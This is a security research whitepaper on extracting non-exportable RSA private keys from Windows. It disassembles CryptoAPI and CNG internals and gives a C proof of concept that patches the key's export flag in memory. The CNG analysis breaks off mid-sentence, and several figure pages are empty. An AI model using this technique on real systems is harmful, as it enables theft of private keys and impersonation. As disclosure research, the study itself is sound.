Exporting Non-Exportable RSA Keys
Exporting Non-Exportable RSA Keys
Exporting Non-Exportable RSA Keys
Jason Geffner
Principal Security Consultant & Account Manager
jason.geffner@ngssecure.com
http://www.ngssecure.com
Exporting Non-Exportable RSA Keys
Table of Contents
1. Introdcution 3
2. Background 4
2.1 Certificate and Private Key Storage 4
2.2 Previous Work 6
3. Research 8
3.1 CryptoAPI 8
3.1.1. Sample Code for CryptExportKey(…) 8
3.1.2. Analyzing CryptExportKey(…) 9
3.1.3. Analyzing CPExportKey(…) 12
3.1.4. Digging Deeper 14
3.1.5. Putting It All Together 17
3.2. CNG 19
3.2.1. Sample Code for NCryptExportKey(…) 19
3.2.2. Analyzing NCryptExportKey(…) 21
3.2.3. Analyzing CliCryptExportKey(…) 23
3.2.4. Crossing Process Boundaries 27
3.2.5. Analyzing SPCryptExportKey(…) 36
3.2.6. Testing Our Finding 38
4. Development 41
5. Security Impact 51
6. Conclusion 52
Page 2 of 52
Exporting Non-Exportable RSA Keys
1. Introduction
Microsoft Windows provides interfaces to allow applications to store and use cryptographic keys and
certificates.
There are currently two cryptographic API interfaces provided by Microsoft. The original cryptographic
API interface shipped by Microsoft is named, appropriately, CryptoAPI; this interface first shipped with
Windows 2000, and is still supported in current versions of Windows. More recently, Microsoft
introduced Cryptography API: Next Generation (CNG) with Windows Vista; this interface “is positioned
to replace existing uses of CryptoAPI throughout the Microsoft software stack”1.
The RSA certificates that ship with Windows are mostly for root Certificate Authorities such as
CyberTrust, Thawte, VeriSign, etc. and as such do not have private keys associated with them on a user’s
system. However, many applications create new certificates on a user’s system and associate them with
locally generated private keys.
The CryptoAPI and CNG interfaces in Windows allow applications to mark stored private keys as non-
exportable, thereby preventing users from extracting private key data that is installed on their own
systems. This private key “security” is provided mostly by data obfuscation via Microsoft’s Cryptographic
Service Providers (CSPs).
This paper discusses the details of said obfuscation and provides code to export non-exportable keys
from client versions of Windows, server versions of Windows, and Windows Mobile devices. Unlike prior
work done in this space, the solution offered in this paper does not rely on function hooking or code
injection.
The code samples in this document do little-to-no error-checking, do not close handles or free memory,
and are written with a focus on clarity and simplicity. This coding style is for proof-of-concept purposes
only and should not be used in a production environment.
1
http://msdn.microsoft.com/en-us/library/bb204775(v=VS.85).aspx
Page 3 of 52
Exporting Non-Exportable RSA Keys
2. Background
Certificates are stored in a high-level “system store”, which can be backed on the file-system, in the
registry, in memory, etc. There are multiple “system store locations”, each of which may contain
multiple system stores.
Once in memory, a certificate store is represented by a linked list of certificate blocks, each of which
points to the data for a given certificate. This data consists of the static certificate context, in addition to
dynamic extended properties. See the following page for a graphical depiction.
Page 4 of 52
Exporting Non-Exportable RSA Keys
The table below contains details for registry-backed system stores. It applies to desktop and server
versions of Windows and is based on content from wincrypt.h and http://msdn.microsoft.com/en-
us/library/aa388136(v=VS.85).aspx.
System Store Location Name and Location in Registry Numeric String Value
Value
CERT_SYSTEM_STORE_CURRENT_USER 0x00010000 "CurrentUser"
HKCU\SOFTWARE\Microsoft\SystemCertificates
CERT_SYSTEM_STORE_LOCAL_MACHINE 0x00020000 "LocalMachine"
HKLM\SOFTWARE\Microsoft\SystemCertificates
CERT_SYSTEM_STORE_CURRENT_SERVICE 0x00040000 "CurrentService"
HKLM\Software\Microsoft\Cryptography\Services\
<Service Name>/SystemCertificates
CERT_SYSTEM_STORE_SERVICES 0x00050000 "Services"
HKLM\Software\Microsoft\Cryptography\Services\
<Service Name>/SystemCertificates
CERT_SYSTEM_STORE_USERS 0x00060000 "Users"
HKU\<User Name>\Software\Microsoft\SystemCertificates
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY 0x00070000 "CurrentUserGroupPolicy"
HKCU\Software\Policies\Microsoft\SystemCertificates
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY 0x00080000 "LocalMachineGroupPolicy"
HKLM\Software\Policies\Microsoft\SystemCertificates
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE 0x00090000 "LocalMachineEnterprise"
HKLM\Software\Microsoft\EnterpriseCertificates
2
The CERT_SYSTEM_STORE_SERVICES system store location contains system store names such as "<Service
Name>\CA", "<Service Name>\My", "<Service Name>\Root", "<Service Name>\Trust", etc., whereas the
CERT_SYSTEM_STORE_USERS system store location contains system store names such as "<SID>\CA", "<SID>\My",
"<SID>\Root", "<SID>\Trust", etc.
3
http://technet.microsoft.com/en-us/library/cc783853(WS.10).aspx
Exporting Non-Exportable RSA Keys
Previous work in the space of exporting non-exportable private keys has been done by:
Gentil Kiwi
http://www.gentilkiwi.com/outils-s44-t-mimikatz.htm
This approach uses code injection and as such will only work on certain versions of CryptoAPI
DLLs as code offsets are likely to be different in different versions of the DLLs. Furthermore, this
tool does not support CNG, and no source code has been provided.
Xu Hao
http://powerofcommunity.net/poc2009/xu.pdf
The approach described in this presentation uses API hooking and code injection, which may not
be feasible or reliable on all systems. Furthermore, no source code or tools seem to have been
released with this presentation.
Based on the limitations of the work above, the author of this paper feels confident that the approach
described herein is both novel and valuable.
Page 7 of 52
Exporting Non-Exportable RSA Keys
3. Research
Personal Information Exchange (PFX) files are natively supported in Windows and act as a container to
store a certificate, its public key, and its private key, all in one standalone file. Our goal is to create a PFX
file for each certificate installed on a system that has a corresponding locally stored private key.
In order to create these PFX files, we need to be able to extract non-exportable private keys from the
local system. To do so, we’ll need to examine the protections offered by both CryptoAPI and CNG.
All disassemblies are of 32-bit DLLs from Windows 7 and have been generated with IDA Pro4 and
Microsoft’s public debug symbols. The file version of cryptsp.dll, keyiso.dll, ncrypt.dll, and rsaenh.dll is
6.1.7600.16385 for this analysis; other versions will likely yield different instruction addresses, however,
the data structure offsets and XOR values are unlikely to change.
3.1. CryptoAPI
Let’s begin by taking a look at a very simple example that acquires a handle to a key container in the
CryptoAPI RSA Cryptographic Service Provider (CSP), generates a new random RSA key-pair, and tries to
export the private key.
The two pieces of code below are identical except for the third parameter (highlighted) passed to
CryptGenKey(…). On the left, we specify that the new private key is to be exportable, whereas on the
right, we don’t specify any flags.
int wmain(int argc, wchar_t* argv[]) int wmain(int argc, wchar_t* argv[])
{ {
HCRYPTPROV hProv = NULL; HCRYPTPROV hProv = NULL;
HCRYPTKEY hKey = NULL; HCRYPTKEY hKey = NULL;
DWORD dwDataLen = 0; DWORD dwDataLen = 0;
CryptAcquireContext( CryptAcquireContext(
&hProv, &hProv,
NULL, NULL,
NULL, NULL,
4
http://www.hex-rays.com/idapro/
Page 8 of 52
Exporting Non-Exportable RSA Keys
PROV_RSA_FULL, PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT); CRYPT_VERIFYCONTEXT);
CryptGenKey( CryptGenKey(
hProv, hProv,
CALG_RSA_KEYX, CALG_RSA_KEYX,
CRYPT_EXPORTABLE, 0,
&hKey); &hKey);
CryptExportKey( CryptExportKey(
hKey, hKey,
NULL, NULL,
PRIVATEKEYBLOB, PRIVATEKEYBLOB,
0, 0,
NULL, NULL,
&dwDataLen); &dwDataLen);
wprintf_s( wprintf_s(
L"GetLastError() returned 0x%08X", L"GetLastError() returned 0x%08X",
GetLastError()); GetLastError());
return 0; return 0;
} }
After trying to export the key on the left, GetLastError() returns 0x00000000, or ERROR_SUCCESS,
signifying that the call to CryptExportKey(…) was successful. However, on the right, GetLastError()
returns 0x8009000B, or NTE_BAD_KEY_STATE, which means, “You do not have permission to export the
key. That is, when the hKey key was created, the CRYPT_EXPORTABLE flag was not specified.”5
5
http://msdn.microsoft.com/en-us/library/aa379931(v=VS.85).aspx
Page 9 of 52
Exporting Non-Exportable RSA Keys
Page 10 of 52
Exporting Non-Exportable RSA Keys
.text:0514515B
.text:0514515B loc_514515B:
.text:0514515B mov edi, [edi+2Ch]
.text:0514515E
.text:0514515E loc_514515E:
.text:0514515E push [ebp+pdwDataLen]
.text:05145161 push [ebp+pbData]
.text:05145164 push [ebp+dwFlags]
.text:05145167 push [ebp+dwBlobType]
.text:0514516A push edi
.text:0514516B push dword ptr [esi+2Ch]
.text:0514516E push dword ptr [ebx+70h]
.text:05145171 call dword ptr [esi+14h]
...
Although there are no instances of the constant value 0x8009000B in the disassembly above, we do see
the following call at the end of the disassembly (note that after address .text:05145103, esi = hKey;
after address .text:05145125, ebx = *(hKey + 0x28); and after address .text:05145157, edi = 0
since we didn’t specify a value for hExpKey):
*(hKey + 0x14)(
*(*(hKey + 0x28) + 0x70),
*(hKey + 0x2C),
NULL,
dwBlobType,
dwFlags,
pbData,
pdwDataLen)
If we compare this call’s parameters to those for CryptExportKey(…), we can see that they’re almost
identical, and that CryptExportKey(…) is merely a wrapper for the function at *(hKey + 0x14):
If we were to trace into this code with a debugger, we’d see that the function at *(hKey + 0x14) is in
fact CPExportKey(…) from rsaenh.dll:
Page 11 of 52
Exporting Non-Exportable RSA Keys
As such we can deduce that the hKey parameter for CPExportKey(…) is not the same as the hKey
parameter for CryptExportKey(…). In fact, the hKeyCPExportKey parameter is *(hKeyCryptExportKey + 0x2C).
Page 12 of 52
Exporting Non-Exportable RSA Keys
Page 13 of 52
Exporting Non-Exportable RSA Keys
Although much code has been snipped from the disassembly above for the sake of brevity, the one and
only one instance of 0x8009000B is at address .text:0AC1F5E8, highlighted above. We can see that this
NTE_BAD_KEY_STATE code is only accessible via the jump from .text:0AC0B7D1, which is taken if
*(eax+8) & 0x4001 equals zero. It appears as though two bit flags are being checked in *(eax+8), and
if neither are set then the code path returns NTE_BAD_KEY_STATE. In other words, these two bit flags
determine whether or not the key can be exported. It is worth noting that the value for
CRYPT_EXPORTABLE is 0x0001, and if we look at the other flag options for CryptGenKey(…), we can see
that the value for CRYPT_ARCHIVABLE (meaning “the key can be exported until its handle is closed by a
call to CryptDestroyKey”6) is 0x4000. While we can’t know for sure at this point, it would appear that
*(eax+8) contains the dwFlags value specified in the call to CryptGenKey(…).
We next need to determine what value eax would hold when that code is executed.
We can see that .text:0AC0B7C4 is only accessible via the jump from .text:0AC07EFE, and at the
instruction right above that we can see eax being set to the value of var_C. Next we’ll determine where
the value for var_C originates.
Code Analysis
.text:0AC07EC4 mov esi, [ebp+hKey] esi = hKeyCPExportKey
...
.text:0AC07ECF xor esi, 0E35A172Ch esi = hKeyCPExportKey ^ 0xE35A172C
...
6
http://msdn.microsoft.com/en-us/library/aa379941(VS.85).aspx
Page 14 of 52
Exporting Non-Exportable RSA Keys
NTLValidate(
hKeyCPExportKey,
hProv,
*(BYTE*)((hKeyCPExportKey ^ 0xE35A172C) + 4),
&var_C)
We can see above that NTLValidate(…) begins by calling NTLCheckList(…) with the following
arguments:
NTLCheckList(
hKeyCPExportKey,
*(BYTE*)((hKeyCPExportKey ^ 0xE35A172C) + 4))
Page 15 of 52
Exporting Non-Exportable RSA Keys
.text:0AC090D2 loc_AC090D2:
.text:0AC090D2 xor eax, eax
.text:0AC090D4 jmp loc_AC01822
The code above effectively does the following in the context of the call chain we’ve been analyzing:
if (
*(BYTE*)((hKeyCPExportKey ^ 0xE35A172C) + 4) ==
*(BYTE*)((hKeyCPExportKey ^ 0xE35A172C) + 4))
{
return *(DWORD*)(hKeyCPExportKey ^ 0xE35A172C);
}
return 0;
Page 16 of 52
Exporting Non-Exportable RSA Keys
.text:0AC05C81 loc_AC05C81:
.text:0AC05C81 pop ebp
.text:0AC05C82 retn 10h
.text:0AC05C82 __stdcall NTLValidate(x, x, x, x) endp
...
.text:0AC090D9 loc_AC090D9:
.text:0AC090D9 mov eax, 80090020h
.text:0AC090DE jmp loc_AC05C81
...
.text:0AC13E68 loc_AC13E68:
.text:0AC13E68 cmp dword ptr [eax+10h], 0
.text:0AC13E6C jnz loc_AC05C6F
.text:0AC13E72 jmp loc_AC21087
...
.text:0AC21087 loc_AC21087:
.text:0AC21087 mov eax, 80090003h
.text:0AC2108C jmp loc_AC05C81
...
.text:0AC21091 loc_AC21091:
.text:0AC21091 mov eax, 80090001h
.text:0AC21096 jmp loc_AC05C81
In the code above, after NTLCheckList(…) is called, eax will be set to *(DWORD*)(hKeyCPExportKey ^
0xE35A172C). All code paths lead to returned error values (0x80090020 is NTE_FAIL, 0x80090003 is
NTE_BAD_KEY, and 0x80090001 is NTE_BAD_UID), except for the code beginning at .text:0AC05C7A
which causes NTLValidate(…) to return 0 (ERROR_SUCCESS). As such, if NTLValidate(…) succeeds, it
sets the value of var_C (from CPExportKey(…)) to the return value of NTLCheckList(…), which is
*(DWORD*)(hKeyCPExportKey ^ 0xE35A172C).
...
.text:0AC07EEA call NTLValidate(x,x,x,x)
.text:0AC07EEF test eax, eax
.text:0AC07EF1 jnz loc_AC1F5D8
.text:0AC07EF7 cmp [ebp+dwBlobType], 6
.text:0AC07EFB mov eax, [ebp+var_C]
.text:0AC07EFE jnz loc_AC0B7C4
...
.text:0AC0B7BF jmp loc_AC07E98
.text:0AC0B7C4 ; --------------------------------------------------------------------
.text:0AC0B7C4
.text:0AC0B7C4 loc_AC0B7C4:
.text:0AC0B7C4 test dword ptr [eax+8], 4001h
.text:0AC0B7CB jnz loc_AC07F04
.text:0AC0B7D1 jmp loc_AC1F5E8
...
.text:0AC1F5E3 jmp loc_AC07F6B
Page 17 of 52
Exporting Non-Exportable RSA Keys
.text:0AC1F5E8 ; --------------------------------------------------------------------
.text:0AC1F5E8
.text:0AC1F5E8 loc_AC1F5E8:
.text:0AC1F5E8 mov [ebp+dwErrCode], 8009000Bh
.text:0AC1F5EF jmp loc_AC07F6E
...
Since we determined that NTLValidate(…) would return 0 on success, the jump at .text:0AC07EF1 is
not taken. The dwBlobType argument to CPExportKey(…) is compared to 6 (PUBLICKEYBLOB), but since
our source code above specified PRIVATEKEYBLOB, the jump at .text:0AC07EFE is taken, bringing us to
.text:0AC0B7C4. At this point, we see the check from earlier where the bit flags in *(DWORD*)(eax +
8) are evaluated. However, based on our analysis above, we now know the following:
*(DWORD*)(eax + 8) =
*(DWORD*)(var_C + 8) =
*(DWORD*)(*(DWORD*)(hKeyCPExportKey ^ 0xE35A172C) + 8) =
We can now apply this knowledge to our source code from above:
int wmain(int argc, wchar_t* argv[]) int wmain(int argc, wchar_t* argv[])
{ {
HCRYPTPROV hProv = NULL; HCRYPTPROV hProv = NULL;
HCRYPTKEY hKey = NULL; HCRYPTKEY hKey = NULL;
DWORD dwDataLen = 0; DWORD dwDataLen = 0;
CryptAcquireContext( CryptAcquireContext(
&hProv, &hProv,
NULL, NULL,
NULL, NULL,
PROV_RSA_FULL, PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT); CRYPT_VERIFYCONTEXT);
CryptGenKey( CryptGenKey(
hProv, hProv,
CALG_RSA_KEYX, CALG_RSA_KEYX,
0, 0,
&hKey); &hKey);
*(DWORD*)(*(DWORD*)(*(DWORD*)(hKey +
0x2C) ^ 0xE35A172C) + 8) |=
CRYPT_EXPORTABLE |
CRYPT_ARCHIVABLE;
CryptExportKey( CryptExportKey(
hKey, hKey,
Page 18 of 52
Exporting Non-Exportable RSA Keys
NULL, NULL,
PRIVATEKEYBLOB, PRIVATEKEYBLOB,
0, 0,
NULL, NULL,
&dwDataLen); &dwDataLen);
wprintf_s( wprintf_s(
L"GetLastError() returned 0x%08X", L"GetLastError() returned 0x%08X",
GetLastError()); GetLastError());
return 0; return 0;
} }
This is evidence that we were able to overwrite the dwFlags value in the private key’s internal data
structure to allow the non-exportable key to be exported.
The code above has been successfully tested on the 32-bit versions of the following systems:
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows Mobile 6
Windows Server 2008
Windows 7
3.2. CNG
The public CNG API functions are well-documented by Microsoft at http://msdn.microsoft.com/en-
us/library/aa376208(v=VS.85).aspx.
For the CryptoAPI interface, we were able to directly access the private key’s properties in the context of
our own application’s process. However, for CNG, “to comply with common criteria (CC) requirements,
the long-lived [private] keys must be isolated so that they are never present in the application process.”7
As such, compared to CryptoAPI, we can expect to have to do some extra work for CNG.
7
http://msdn.microsoft.com/en-us/library/bb204778(v=VS.85).aspx
Page 19 of 52
Exporting Non-Exportable RSA Keys
We’ll begin our investigation of CNG similarly to that of CryptoAPI, by using a simple example that
acquires a handle to the Microsoft Key Storage Provider (KSP), generates a new random RSA key-pair,
and tries to export the private key.
The two pieces of code below are identical except for the fact that the code on the left explicitly sets the
private key to be exportable, whereas the export policy is not explicitly specified on the right.
int wmain(int argc, wchar_t* argv[]) int wmain(int argc, wchar_t* argv[])
{ {
NCRYPT_PROV_HANDLE hProvider = NULL; NCRYPT_PROV_HANDLE hProvider = NULL;
NCRYPT_KEY_HANDLE hKey = NULL; NCRYPT_KEY_HANDLE hKey = NULL;
DWORD cbResult = 0; DWORD cbResult = 0;
SECURITY_STATUS secStatus = SECURITY_STATUS secStatus =
ERROR_SUCCESS; ERROR_SUCCESS;
NCryptOpenStorageProvider( NCryptOpenStorageProvider(
&hProvider, &hProvider,
MS_KEY_STORAGE_PROVIDER, MS_KEY_STORAGE_PROVIDER,
0); 0);
NCryptCreatePersistedKey( NCryptCreatePersistedKey(
hProvider, hProvider,
&hKey, &hKey,
BCRYPT_RSA_ALGORITHM, BCRYPT_RSA_ALGORITHM,
NULL, NULL,
AT_KEYEXCHANGE, AT_KEYEXCHANGE,
0); 0);
DWORD dwPropertyValue =
NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG;
NCryptSetProperty(
hKey,
NCRYPT_EXPORT_POLICY_PROPERTY,
(PBYTE)&dwPropertyValue,
sizeof(dwPropertyValue),
0);
NCryptFinalizeKey( NCryptFinalizeKey(
hKey, hKey,
0); 0);
Page 20 of 52
Exporting Non-Exportable RSA Keys
&cbResult, &cbResult,
0); 0);
wprintf_s( wprintf_s(
L"NCryptExportKey(...) returned " L"NCryptExportKey(...) returned "
L"0x%08X", L"0x%08X",
secStatus); secStatus);
return 0; return 0;
} }
After trying to export the key on the left, NCryptExportKey(…) returns 0x00000000, or ERROR_SUCCESS,
signifying that the call to NCryptExportKey(…) was successful. However, on the right,
NCryptExportKey(…) returns 0x80090029, or NTE_NOT_SUPPORTED, signifying that the KSP does not
support exporting of this key.
Let’s look at the disassembled code for NCryptExportKey(…) from ncrypt.dll to try to find a reference
to that 0x80090029 error value:
Page 21 of 52
Exporting Non-Exportable RSA Keys
Although there are no instances of the constant value 0x80090029 in the disassembly above, we do see
the following call at the end of the disassembly (note that after address .text:6C81338A, esi is set to
the return value of ValidateClientKeyHandle(hKey), which is a trivial function that returns hKey as
long as *hKey == 0x44444445 (which it does for valid CNG key handles); the conditional jump from
.text:6C813393 to .text:6C8133B4 is taken since we specified NULL for hExportKey, causing ecx to
get set to zero at address .text:6C8133B4; and after address .text:6C8133B9, eax = *(hKey +
0x04)):
Page 22 of 52
Exporting Non-Exportable RSA Keys
NULL,
pszBlobType,
pParameterList,
pbOutput,
cbOutput,
pcbResult,
dwFlags)
If we compare this call’s parameters to those for NCryptExportKey(…), we can see that they’re almost
identical, and that NCryptExportKey(…) is merely a wrapper for the function at *(*(hKey + 0x04) +
0x58):
If we were to trace into this code with a debugger, we’d see that the function at *(*(hKey + 0x04) +
0x58) is in fact CliCryptExportKey(…) from ncrypt.dll, which is undocumented.
Page 23 of 52
Exporting Non-Exportable RSA Keys
Page 24 of 52
Exporting Non-Exportable RSA Keys
Page 25 of 52
Exporting Non-Exportable RSA Keys
Again, we see see no instances of the constant value 0x80090029 in the disassembly. Therefore, we’ll
need to trace into the next function in the callstack – c_SrvRpcCryptExportKey(…), which is also
undocumented.
Let’s determine the arguments to c_SrvRpcCryptExportKey(…) one at a time. We can see that the first
two arguments are _g_RpcBindingContext and dword_6C834CAC. The former is initialized via a call
elsewhere in the DLL to the function c_SrvRpcCreateContext(…), whereas the latter is initialized via a
call elsewhere in the DLL to the function RpcBindingBind(…). The values of registers eax and ecx are
determined by a conditional jump at .text:6C82DC9A, where if the first argument to
CliCryptExportKey(…) (*(*(hKey + 0x04) + 0xE4)) is not zero then eax is set to *(*(*(hKey +
0x04) + 0xE4)) and ecx is set to *(*(*(hKey + 0x04) + 0xE4) + 0x04). Similarly, the values of
registers edx and esi are determined by a conditional jump at .text:6C82DC8A, where if the second
argument to CliCryptExportKey(…) (*(hKey + 0x08)) is not zero then edx is set to *(*(hKey +
0x08)) and esi is set to *(*(hKey + 0x08) + 0x04). Since our hExportKey argument for
NCryptExportKey(…) was NULL, the third argument to CliCryptExportKey(…) was also NULL, and as
such the value of register edi gets set to zero at .text:6C82DC80 due to the conditional jump from
.text:6C82DC74; this also causes the value of var_30 to get set to zero at .text:6C82DC82. The value
for pszBlobType is the same as what we specified for NCryptExportKey(…)
(LEGACY_RSAPRIVATE_BLOB). Since we specified a value of NULL for the pParameterList argument to
NCryptExportKey(…), the conditional jump at .text:6C82DC1D is taken and var_20 remains initialized
to zero. Since we specified a value of 0 for the cbOutput argument to NCryptExportKey(…), the
conditional jump at .text:6C82DC3F is taken, which also leads to the conditional jump at
.text:6C82DC60 to be taken, thereby setting the value for pParameterList to that of pbOutput prior
to the call to c_SrvRpcCryptExportKey(…). The value for register ebx is initialized to the value of
cbOutput at .text:6C82DC3A, and since the conditional jump at .text:6C82DC60 is taken, the value of
ebx remains equal to the value of cbOutput. The values for pcbResult and dwFlags remain the same as
those passed in for NCryptExportKey(…). As such, for our example, we find the following arguments
passed from CliCryptExportKey(…) to c_SrvRpcCryptExportKey(…):
c_SrvRpcCryptExportKey(
_g_RpcBindingContext,
*0x6C834CAC,
*(*(*(hKey + 0x04) + 0xE4)),
*(*(*(hKey + 0x04) + 0xE4) + 0x04),
*(*(hKey + 0x08)),
*(*(hKey + 0x08) + 0x04),
NULL,
NULL,
pszBlobType,
NULL,
pbOutput,
cbOutput,
pcbResult,
dwFlags);
Now that we know the arguments for c_SrvRpcCryptExportKey(…), let’s see how they’re used.
Page 26 of 52
Exporting Non-Exportable RSA Keys
This function effectively takes the arguments passed to it from CliCryptExportKey(…) and passes
them to another function via Local Remote Procedure Call (LRPC, or Local RPC) via the publicly
documented API function NdrClientCall2(…).
Page 27 of 52
Exporting Non-Exportable RSA Keys
Based on the output above, it is clear that the InterfaceId GUID of {B25A52BF-E5DD-4F4A-AEA6-
8CA7272A0E86} is associated with the KeyIso service, which runs in the lsass.exe process as NT
AUTHORITY\SYSTEM.
If we look in keyiso.dll, we can find the RPC server function s_SrvRpcCryptExportKey(…) which
handles the RPC client call from c_SrvRpcCryptExportKey(…):
8
http://download.microsoft.com/download/win2000platform/webpacks/1.00.0.1/nt5/en-us/rpcdump.exe
Page 28 of 52
Exporting Non-Exportable RSA Keys
Page 29 of 52
Exporting Non-Exportable RSA Keys
We can see that the code above passes all of the input arguments (except for the binding context
handle) to the function at *(_g_pSrvFunctionTable + 0x54), called from .text:1000293E. The
_g_pSrvFunctionTable variable is initialized in keyiso.dll’s KipInitializeRpcServer() function:
Page 30 of 52
Exporting Non-Exportable RSA Keys
.data:6C833408 _IsolationServerFunctionTable dd 1
.data:6C83340C dd offset SrvCryptCreateContext(x,x)
.data:6C833410 dd offset SrvCryptRundownContext(x)
.data:6C833414 dd offset SrvCryptOpenStorageProvider(x,x,x,x)
.data:6C833418 dd offset SrvCryptOpenKey(x,x,x,x,x,x,x)
.data:6C83341C dd offset SrvCryptCreatePersistedKey(x,x,x,x,x,x,x,x)
.data:6C833420 dd offset SrvCryptGetProviderProperty(x,x,x,x,x,x,x,x)
.data:6C833424 dd offset SrvCryptGetKeyProperty(x,x,x,x,x,x,x,x,x,x)
.data:6C833428 dd offset SrvCryptSetProviderProperty(x,x,x,x,x,x,x)
.data:6C83342C dd offset SrvCryptSetKeyProperty(x,x,x,x,x,x,x,x,x)
.data:6C833430 dd offset SrvCryptFinalizeKey(x,x,x,x,x,x)
.data:6C833434 dd offset SrvCryptDeleteKey(x,x,x,x,x,x)
.data:6C833438 dd offset SrvCryptFreeProvider(x,x,x)
.data:6C83343C dd offset SrvCryptFreeKey(x,x,x,x,x)
.data:6C833440 dd offset SrvCryptFreeBuffer(x,x,x)
.data:6C833444 dd offset SrvCryptEncrypt(x,x,x,x,x,x,x,x,x,x,x,x)
.data:6C833448 dd offset SrvCryptDecrypt(x,x,x,x,x,x,x,x,x,x,x,x)
.data:6C83344C dd offset SrvCryptIsAlgSupported(x,x,x,x,x)
.data:6C833450 dd offset SrvCryptEnumAlgorithms(x,x,x,x,x,x,x)
.data:6C833454 dd offset SrvCryptEnumKeys(x,x,x,x,x,x,x)
Page 31 of 52
Exporting Non-Exportable RSA Keys
With this knowledge, we can now continue our examination of c_SrvRpcCryptExportKey(…), which
calls *(keyiso.dll!_g_pSrvFunctionTable + 0x54), or in other words calls
*(ncrypt.dll!_IsolationServerFunctionTable + 0x54), which is SrvCryptExportKey(…), whose
arguments are the same as those passed to c_SrvRpcCryptExportKey(…), except for the binding
context handle (arg_0 is *0x6C834CAC, arg_C is *(*(hKey + 0x08)), arg_14 is NULL, arg_18 is NULL,
arg_20 is NULL, and the other arguments were renamed below to their simple names):
Page 32 of 52
Exporting Non-Exportable RSA Keys
.text:6C8281D1 loc_6C8281D1:
.text:6C8281D1 push esi
.text:6C8281D2 push [ebp+arg_10]
.text:6C8281D5 push [ebp+arg_C]
.text:6C8281D8 push ebx
.text:6C8281D9 call SrvLookupAndReferenceKey(x,x,x,x)
.text:6C8281DE mov [ebp+arg_0], eax
.text:6C8281E1 cmp eax, esi
.text:6C8281E3 jnz short loc_6C8281EF
...
.text:6C8281EF loc_6C8281EF:
.text:6C8281EF mov esi, [eax+14h]
.text:6C8281F2 push edi
.text:6C8281F3 mov edi, [ebp+arg_14]
.text:6C8281F6 mov eax, edi
.text:6C8281F8 or eax, [ebp+arg_18]
.text:6C8281FB jz short loc_6C82821A
...
.text:6C82821A loc_6C82821A:
.text:6C82821A cmp [ebp+pcbResult], 0
.text:6C82821E jnz short loc_6C82822A
...
.text:6C82822A loc_6C82822A:
.text:6C82822A cmp [ebp+arg_20], 0
.text:6C82822E jz short loc_6C828246
...
.text:6C828246 loc_6C828246:
.text:6C828246 mov ebx, [ebp+cbOutput]
.text:6C828249 test ebx, ebx
.text:6C82824B jbe short loc_6C828267
.text:6C82824D test bl, 7
.text:6C828250 jz short loc_6C828259
...
.text:6C828259 loc_6C828259:
.text:6C828259 push ebx ; Size
.text:6C82825A push 0 ; Val
.text:6C82825C push [ebp+pbOutput] ; Dst
.text:6C82825F call _memset
.text:6C828264 add esp, 0Ch
.text:6C828267
.text:6C828267 loc_6C828267:
.text:6C828267 or edi, [ebp+arg_18]
.text:6C82826A jz short loc_6C828274
.text:6C82826C mov eax, [ebp+var_8]
.text:6C82826F mov eax, [eax+18h]
.text:6C828272 jmp short loc_6C828276
.text:6C828274 ; --------------------------------------------------------------------
.text:6C828274
.text:6C828274 loc_6C828274:
.text:6C828274 xor eax, eax
.text:6C828276
.text:6C828276 loc_6C828276:
.text:6C828276 push [ebp+dwFlags]
.text:6C828279 push [ebp+pcbResult]
.text:6C82827C push ebx
Page 33 of 52
Exporting Non-Exportable RSA Keys
If we were to trace into this code with a debugger, we’d see that the function at *(esi + 0x64) is in
fact the undocumented function SPCryptExportKey(…) from ncrypt.dll. This function is part of the
_KeyStorageFunctionTable, referenced by the function GetKeyStorageInterface(…):
Page 34 of 52
Exporting Non-Exportable RSA Keys
As can be seen above, the private function SPCryptExportKey(…) is the Key Storage Provider’s
implementation of the NCryptExportKeyFn(…) callback function, which is documented in the CNG SDK
as follows: “The NCryptExportKeyFn callback function is called by the NCryptExportKey function to
export a key to a memory BLOB.” Furthermore, the CNG SDK gives the following prototype for
NCryptExportKeyFn(…) / SPCryptExportKey(…):
9
http://www.microsoft.com/downloads/en/details.aspx?FamilyID=1ef399e9-b018-49db-a98b-0ced7cb8ff6f
Page 35 of 52
Exporting Non-Exportable RSA Keys
The first argument to the call, hProvider, is *(esi + 0x84). At address .text:6C8281EF, the value of
esi is set to *(eax + 0x14), and at that point, the value of eax is the return value of
SrvLookupAndReferenceKey(…), which as mentioned above is the second argument to
SrvLookupAndReferenceKey(…), which is arg_C, or *(*(hKey + 0x08)). As such, the first argument to
SPCryptExportKey(…) is *(*(*(*(hKey + 0x08)) + 0x14) + 0x84).
The second argument to the call, which we’ll call hKeySPCryptExportKey to differentiate it from the hKey
value that we’ve been referencing from the original call to NCryptExportKey(…), is *(eax + 0x18). At
address .text:6C828287, the value of eax is set to that of arg_0, however, the original value of arg_0
is overwritten at address .text:6C8281DE with the return value of SrvLookupAndReferenceKey(…),
which as explained in the paragraph above is *(*(hKey + 0x08)). As such, the second argument to
SPCryptExportKey(…) is *(*(*(hKey + 0x08)) + 0x18).
Note that the portion highlighted in blue above is from the memory context of the process that called
NCryptExportKey(…), and the portion highlighted in yellow above is from the memory context of the
lsass.exe process.
The remaining arguments to SPCryptExportKey(…) are self-explanatory and are based off of the
original input arguments to NCryptExportKey(…).
Page 36 of 52
Exporting Non-Exportable RSA Keys
...
.text:6C81482C xor ecx, ecx
...
.text:6C814838 mov [ebp+var_14], ecx
...
.text:6C814857 push [ebp+hKey_SPCryptExportKey]
.text:6C81485A call KspValidateKeyHandle(x)
.text:6C81485F mov [ebp+var_4], eax
...
.text:6C814ED5 mov ecx, [ebp+var_4]
...
.text:6C814EE3 push [ebp+pParameterList]
.text:6C814EE6 push ecx
.text:6C814EE7 call SPPkcs8IsKeyExportable(x,x)
.text:6C814EEC test eax, eax
.text:6C814EEE jnz short loc_6C814EFA
.text:6C814EF0
.text:6C814EF0 loc_6C814EF0:
.text:6C814EF0 mov esi, 80090029h
...
.text:6C814FF9 mov eax, esi
.text:6C814FFB pop esi
.text:6C814FFC leave
.text:6C814FFD retn 24h
.text:6C814FFD __stdcall SPCryptExportKey(x, x, x, x, x, x, x, x, x) endp
Immediately before the code at address .text:6C814EF0 which sets the error value of 0x80090029, we
